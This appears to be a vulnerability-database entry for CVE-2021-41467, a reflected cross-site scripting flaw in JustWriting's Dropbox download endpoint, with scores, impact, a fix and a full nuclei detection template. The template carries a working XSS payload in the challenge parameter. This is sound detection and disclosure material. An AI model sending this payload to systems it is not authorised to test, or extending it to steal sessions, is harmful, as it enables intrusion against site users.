HexBrain

Browse / CVEs / CVE-2021-41467

CVE-2021-41467· justwriting project / justwriting· CWE-79

JustWriting - Cross-Site Scripting

mediumseverity
6.1CVSS score
3.6%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

A cross-site scripting vulnerability in application/controllers/dropbox.php in JustWriting 1.0.0 and below allow remote attackers to inject arbitrary web script or HTML via the challenge parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(body, "justwriting")
Send: GET /sync/dropbox/download?challenge=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: status_code == 200 and contains(content_type, "text/html") and contains(body, "</script><script>alert(document.domain)</script>")

Run it with nuclei: nuclei -id CVE-2021-41467 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-41467

info:
  name: JustWriting - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: A cross-site scripting vulnerability in application/controllers/dropbox.php in JustWriting 1.0.0 and below allow remote attackers to inject arbitrary web script or HTML via the challenge parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/hjue/JustWriting/issues/106
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41467
    - https://github.com/hjue/JustWriting/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-41467
    cwe-id: CWE-79
    epss-score: 0.03601
    epss-percentile: 0.89556
    cpe: cpe:2.3:a:justwriting_project:justwriting:1.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: justwriting_project
    product: justwriting
  tags: cve2021,cve,justwriting,xss,justwriting_project,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "justwriting")'
        condition: and
        internal: true

  - raw:
      - |
        GET /sync/dropbox/download?challenge=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "</script><script>alert(document.domain)</script>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from